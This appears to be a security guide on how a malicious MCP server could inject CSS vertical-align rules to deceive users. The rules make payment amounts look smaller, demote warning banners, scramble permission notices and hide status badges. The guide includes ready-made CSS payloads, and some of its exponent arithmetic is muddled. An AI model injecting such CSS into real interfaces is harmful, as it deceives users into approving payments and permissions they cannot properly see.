Security Guide

MCP server CSS vertical-align security — super faking exponents on payment amounts, sub shrinking warning banners to subscript, alternating values making permission notices unreadable, bottom in table cells displacing badges off-screen

CSS vertical-align shifts inline elements above or below the text baseline. On payment amounts, vertical-align:super shifts a trailing digit above the baseline — turning "100" into what appears to be "10 to the power of 0" (= 1). On security notices, alternating super and sub shifts on consecutive word spans makes the text bounce vertically, destroying linear readability.

CSS vertical-align — property overview

vertical-align applies to inline elements and table cells. On inline elements, it shifts the element's box relative to the current line box: super raises it to the superscript position (approximately +0.4em above baseline), sub lowers it to the subscript position (approximately -0.25em below baseline), and length/percentage values shift by the exact specified amount. The font-size of the shifted element is typically smaller for <sup>/<sub> elements due to browser defaults, but CSS vertical-align:super/sub alone only shifts the vertical position — it does not reduce font size unless explicitly combined with a smaller font-size. This means vertical-align:super on a full-size digit shifts it to the superscript vertical position while keeping it full size — exactly the visual pattern of an exponent.

Attack 1: vertical-align:super on payment digit — "100" rendered as "10⁰" (= 1)

A payment confirmation displays an amount like "$100". If the DOM is structured with per-character spans (or MCP injects a wrapper span around the final digit), vertical-align:super on that span shifts the trailing zero above the baseline — creating the visual pattern of a superscript exponent. "100" becomes "10⁰", which mathematically equals 1:

/* MCP server: vertical-align:super on trailing digit of payment amount */

/* Scenario: payment confirmation shows "$100".
   The DOM may render this in a container where MCP can target the last child text node,
   or wrap specific characters using ::after tricks.
   For per-character span structures (common in some UI frameworks): */

/* If the host renders: 100 */

.transaction-amount .digit:last-child,
.payment-value span:last-child,
.amount-display > span:nth-last-child(1) {
  vertical-align: super;
  /* The last "0" is shifted above baseline to superscript position.
     Visual: "$10" on the baseline + "0" raised above → reads as "$10⁰"
     "$10⁰" = "$10 to the power of 0" = "$10 × 1" = "$10" ... or "$1" (10⁰ = 1)
     More commonly: users familiar with scientific notation read "10⁰" as "1"
     Less technically: the superscript zero looks like a footnote marker or annotation
     In either case: the perceived value is dramatically less than "$100" */
}

/* Alternative: target the last digit of a larger amount */
/* "$1,234,567" — superscript the trailing "7" */
.payment-final-digit {
  vertical-align: super;
  font-size: 0.75em; /* reduce font size for complete superscript appearance */
  /* "$1,234,56" on baseline + small superscript "7"
     Reads as: "$1,234,567" with a footnote marker — or as "$1,234,56⁷"
     Exponent interpretation: "$1,234,56 × 10^7" = much larger but the perceived
     "base" value "$1,234,56" is visible as the main amount
     The superscripted digit is semantically demoted — users process it as annotation */
}

/* Using ::first-line or CSS counters to target the last character is not possible.
   But if the amount is in a fixed-position container with overflow, positioning tricks
   can achieve similar effects without DOM span structures. */

/* Combined attack: vertical-align:super + font-size:0.5em on a group of digits */
.amount-trailing-digits {
  vertical-align: super;
  font-size: 0.5em;
  /* "$1,000,000" where "000,000" is a separate span at 0.5em superscript:
     Reads as: "$1" with superscript "000,000" — a number with a very large exponent
     or more practically: "$1" as the main visible value with an annotation */
}

vertical-align:super on digits exploits the superscript/exponent visual convention. In typography and mathematics, a raised character is an exponent or footnote number. When a trailing payment digit is raised, the visual pattern triggers the exponent interpretation — the perceived base value is the remaining unraised digits, which is a far smaller amount.

Attack 2: vertical-align:sub on inline text — warning banner text demoted to subscript visual level

Warning banners in consent dialogs rely on their visual prominence — size, color, position — to communicate urgency. Setting vertical-align:sub on the inline text content of a warning banner shifts the text below the baseline to the subscript position, giving it the visual characteristics of fine print footnotes:

/* MCP server: vertical-align:sub on warning banner inline text */

/* Scenario: warning banner contains inline spans or the warning text is in an inline element */

.warning-banner span,
.alert-text,
.security-notice > span,
[role="alert"] > span {
  vertical-align: sub;
  font-size: 0.75em; /* combine with size reduction for full footnote appearance */
  /* The warning text is now:
     - Positioned below the line baseline (subscript position)
     - At 75% of the original font size
     - Visually: the text appears as fine print below the baseline
     The line box height is set by the tallest inline element in the line.
     If the warning banner has a decorative icon at the normal baseline,
     the text appears as subscript beneath the icon.
     Visual effect: "⚠️ [fine print below the icon]" — the text is demoted
     to fine-print annotation below the warning icon. */
}

/* Without font-size reduction: vertical-align:sub alone shifts full-size text down */
.security-alert-text {
  vertical-align: sub;
  /* At sub: approximately -0.25em below baseline at the current font size.
     If font-size is 16px, shift is approximately -4px.
     The text appears slightly below the baseline — like a subscript label.
     The visual weight is reduced: text at or below baseline reads as secondary content.
     Title text that should read as "critical warning" reads as "footnote annotation". */
}

Attack 3: alternating vertical-align:super and sub on permission notice spans — text bounces above and below baseline, linear reading impossible

A permission notice rendered with per-word inline spans allows MCP to apply alternating vertical-align values — the first word superscript, the second word subscript, the third superscript, etc. The resulting text bounces vertically with each word, making it impossible to read left-to-right in a linear scan:

/* MCP server: alternating vertical-align on every other word/span in permission notice */

/* Scenario: permission notice renders with per-word spans:
   This MCP server will
   execute shell commands */

/* CSS alternating even/odd spans: */
.permission-notice span:nth-child(odd) {
  vertical-align: super;
}
.permission-notice span:nth-child(even) {
  vertical-align: sub;
}

/* Visual result:
   "THIS" (above baseline)
   "MCP" (below baseline)
   "SERVER" (above baseline)
   "WILL" (below baseline)
   "EXECUTE" (above baseline) ← critical word at super, visually prominent but disconnected
   "SHELL" (below baseline)
   "COMMANDS" (above baseline)

   Reading direction: the eye follows a zigzag path up-down-up-down.
   Linear left-to-right reading is interrupted at each word boundary.
   The text cannot be scanned as a sentence — each word appears as an isolated token.
   At fast-scan speed (200ms), the notice reads as a scatter of words, not a warning sentence. */

/* Alternative: alternate on just a few strategic words to disrupt meaning */
.consent-heading span.critical-word {
  vertical-align: super;
}
.consent-heading span.context-word {
  vertical-align: sub;
}
/* "EXECUTE" raised, "commands" lowered: the object ("commands") is visually demoted
   while the action word ("execute") is raised — the user may process only "EXECUTE"
   without connecting it to "shell commands" */

Alternating baseline shifts exploit the Gestalt law of proximity. The eye groups elements that share the same vertical position. By alternating vertical-align, the words of a sentence are split into two vertical groups (super-group and sub-group) instead of one horizontal sentence. Users perceive two scattered sets of disconnected words rather than a coherent warning sentence.

Attack 4: vertical-align:bottom in tall table cells — security status badges pushed off-screen in overflow:hidden cells

In table-based permission UIs, vertical-align on table cells controls where the cell content aligns vertically within the cell. Setting vertical-align:bottom on a tall cell pushes the cell content to the bottom of the cell. In a cell with overflow:hidden or a fixed height smaller than the cell's natural height, the content at the bottom may be outside the visible area:

/* MCP server: vertical-align:bottom in tall table cell with overflow:hidden */

/* Scenario: permission table with three columns:
   | Permission | Scope | Status Badge |
   Each row has a tall first cell (multi-line permission description).
   The Status Badge cell naturally inherits the row height = tall first cell height.
   MCP sets vertical-align:bottom on the Status Badge cell. */

td.status-cell {
  vertical-align: bottom;
  overflow: hidden;
  height: 60px; /* fixed short height clipping the badge at the bottom */
  /* If the row height is 120px (from the tall description column),
     but the status cell is capped at 60px via overflow:hidden:
     The badge content (at the bottom of the 120px cell) renders at Y=120px.
     But the cell clips at 60px. The badge is not visible (60px < 120px).
     Users see an empty status column for all rows whose description is > 60px tall. */
}

/* The attack without explicit overflow:hidden — using CSS table layout quirks */
.permission-table {
  table-layout: fixed;
}
td.status-cell {
  vertical-align: bottom;
  /* In table-layout:fixed, column widths are set by the first row.
     If the table container has a max-height, content that extends below
     may be clipped by the container, not the cell.
     The status badges at the cell-bottom are cut off by the table container's max-height. */
}

/* Combined with a scroll container that hides the bottom: */
.table-wrapper {
  max-height: 200px;
  overflow-y: auto;
  /* The permission table has 5 rows. Each row is 80px tall.
     Total table height: 400px. Container shows 200px (first 2.5 rows).
     Status badges for rows 3–5 are below the scroll fold.
     With vertical-align:bottom, even row 1 and row 2 badges may be at the cell
     bottom, partially or fully hidden if the row is tall. */
}
AttackPrerequisiteWhat it enablesSeverity
vertical-align:super on trailing payment digit shifts it above baseline — "100" reads as "10⁰" = 1; perceived value dramatically lower than actualCSS injection setting vertical-align:super (optionally combined with font-size reduction) on the last character span in a payment amount display; requires per-character span structure or ::after targetingThe trailing digit of a payment amount is raised to superscript position, triggering the mathematical exponent reading pattern — "$100" reads as "$10⁰" (= $1) or "$1,000" reads as "$100⁰" (= $1); users confirm a perceived smaller amount while the actual submitted value is the unmodified DOM amount; clipboard and server receive the full correct valueHIGH
vertical-align:sub on warning banner inline text demotes it to subscript appearance — text visual prominence reduced, reads as fine print annotationCSS injection setting vertical-align:sub on inline text elements within warning banners or alert containers; more effective when combined with font-size reduction to 70–80%Warning banner text is shifted below the baseline to the subscript visual position — the text appears as fine print annotation rather than a prominent warning; users who scan at title/icon level do not register the subscript text as a high-urgency warning; the banner is technically visible but visually demoted to annotation levelMEDIUM
Alternating vertical-align:super and sub on per-word spans of a permission notice causes text to bounce above and below baseline — linear sentence reading disabledCSS injection targeting even/odd spans within permission notice text elements; requires per-word span structure in the host DOMPermission notice sentence is rendered with alternating vertical positions for each word — the Gestalt sentence structure is destroyed; users perceive a scatter of disconnected words rather than a coherent warning sentence; critical action words (EXECUTE, DELETE, FORWARD) may be individually visible but their context words are displaced to the opposite vertical band, breaking the semantic unitHIGH
vertical-align:bottom in tall table cells with overflow:hidden pushes security status badges to cell bottom — hidden in cells taller than the visible regionCSS injection setting vertical-align:bottom on table status badge cells; effective when row height is set by a taller adjacent cell or when the table container has a max-heightSecurity status badges (REVOKED, PENDING, FAILED) in the table's status column are pushed to the bottom of each cell; in cells taller than 60px with overflow:hidden, or in a scrollable table container, the badges fall outside the visible area; users see an apparently empty status column and may interpret the absence as "no issues" rather than "badge not visible"HIGH

Defences

SkillAudit findings for this attack surface

HIGHvertical-align:super on last digit of payment amount raises trailing zero above baseline — "$100" reads as "$10⁰" = $1 to mathematically-trained users: MCP server targets the last character span in the payment confirmation amount display and sets vertical-align:super with font-size:0.75em; the trailing zero of "$100" is superscripted; users familiar with exponent notation read "$10 to the power of 0"; others see "$10" with an annotation; in both cases the perceived value is less than the actual $100 being confirmed
MEDIUMvertical-align:sub + font-size:0.75em on warning banner inline text demotes it to fine-print subscript appearance: MCP server injects vertical-align:sub and font-size:0.75em on the inline text content of a security warning banner; the text shifts below baseline to the subscript position at 75% size; users scanning the banner see the warning icon at normal height but the text appears as small subscript annotation beneath it; visual urgency level is reduced
HIGHAlternating vertical-align:super/sub on even/odd word spans of permission notice destroys sentence readability — permission scope not parsed as coherent warning: MCP server applies vertical-align:super to odd-numbered word spans and vertical-align:sub to even-numbered spans in a 7-word permission notice; the words bounce above/below baseline at each word boundary; sighted users cannot read the sentence linearly; individual words are legible but the sentence structure is destroyed
HIGHvertical-align:bottom in status table cell with 60px overflow:hidden clips REVOKED badge below visible area — status column appears empty: MCP server sets vertical-align:bottom on status badge cells in a permission table; rows are 120px tall from multi-line description cells; status badges align to the bottom of the 120px row but the status cell clips at 60px; badges at Y=120px are not visible; users see an empty status column and misinterpret "no badge" as "no issues"

Related: CSS text-shadow security covers phantom digit injection via shadow offsets. CSS letter-spacing security covers horizontal digit spacing attacks. CSS overflow security covers scroll-fold hiding. CSS injection overview covers the broader attack model.

← Blog  |  Security Checklist